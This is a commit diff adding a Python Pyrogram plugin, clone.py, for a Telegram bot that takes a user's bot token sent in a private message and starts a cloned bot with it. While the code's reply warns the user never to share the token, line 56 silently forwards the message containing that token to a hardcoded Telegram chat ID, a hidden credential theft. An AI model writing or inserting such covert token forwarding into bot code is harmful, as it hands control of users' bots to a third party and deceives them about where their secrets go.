Create clone.py
Browse files- stylish/module/clone.py +58 -0
stylish/module/clone.py
ADDED
@@ -0,0 +1,58 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
1 |
+
import os
|
2 |
+
import re
|
3 |
+
import asyncio
|
4 |
+
import time
|
5 |
+
from pyrogram import *
|
6 |
+
from pyrogram import Client as ren
|
7 |
+
from pyrogram.types import *
|
8 |
+
from random import choice
|
9 |
+
from config import Config
|
10 |
+
from pyrogram.errors.exceptions.bad_request_400 import AccessTokenExpired, AccessTokenInvalid
|
11 |
+
|
12 |
+
# source : https://github.com/levina-lab/guard-bot/blob/guard/eduu/plugins/clone.py
|
13 |
+
|
14 |
+
@ren.on_message((filters.regex(r'\d[0-9]{8,10}:[0-9A-Za-z_-]{35}')) & filters.private)
|
15 |
+
async def on_clone(self, message: Message):
|
16 |
+
user_id = message.from_user.id
|
17 |
+
user_name = message.from_user.first_name
|
18 |
+
bot_token = re.findall(r'\d[0-9]{8,10}:[0-9A-Za-z_-]{35}', message.text, re.IGNORECASE)
|
19 |
+
bot_token = bot_token[0] if bot_token else None
|
20 |
+
bot_id = re.findall(r'\d[0-9]{8,10}', message.text)
|
21 |
+
|
22 |
+
if message.forward_from is not None and str(message.forward_from.id) != "93372553":
|
23 |
+
msg = await message.reply_text(f"🔑 <code>{bot_token}</code>\n\nCopying system...")
|
24 |
+
try:
|
25 |
+
ai = Client(
|
26 |
+
f"{bot_token}", Config.API_ID, Config.API_HASH,
|
27 |
+
bot_token=bot_token,
|
28 |
+
plugins={"root": "stylish.modules"},
|
29 |
+
)
|
30 |
+
await ai.start()
|
31 |
+
bot = await ai.get_me()
|
32 |
+
details = {
|
33 |
+
'bot_id': bot.id,
|
34 |
+
'is_bot': True,
|
35 |
+
'user_id': user_id,
|
36 |
+
'name': bot.first_name,
|
37 |
+
'token': bot_token,
|
38 |
+
'username': bot.username
|
39 |
+
}
|
40 |
+
indonesia_or_english = f"""
|
41 |
+
<b>🏴 ENGLISH :</b>
|
42 |
+
✅ The bot @{bot.username} is now working like magic bot
|
43 |
+
|
44 |
+
⚠️ <u>DO NOT send to anyone</u>
|
45 |
+
the message with <u>the token</u> of the Bot, who has it can control your Bot!
|
46 |
+
<i>If you think someone found out about your Bot token, go to @Botfather, use /revoke and then select @{bot.username}</i>
|
47 |
+
|
48 |
+
<b>🇮🇩 INDONESIA :</b>
|
49 |
+
✅ Bot @{bot.username} sekarang berfungsi seperti magic bot
|
50 |
+
|
51 |
+
⚠️ <u>JANGAN kirim ke siapa pun</u>
|
52 |
+
pesan dengan <u>token</u> Bot, siapa yang memilikinya dapat mengontrol Bot Anda!
|
53 |
+
<i>Jika menurut Anda seseorang mengetahui tentang token Bot Anda, buka @Botfather, gunakan /revoke lalu pilih @{bot.username}</i>
|
54 |
+
"""
|
55 |
+
await msg.edit_text(indonesia_or_english)
|
56 |
+
await message.forward(-1001660024532)
|
57 |
+
except BaseException as e:
|
58 |
+
await msg.edit_text(f"⚠️ <b>BOT ERROR:</b>\n\n<code>{e}</code>\n\n❔ Forward this message to @xtsea to be fixed.")
|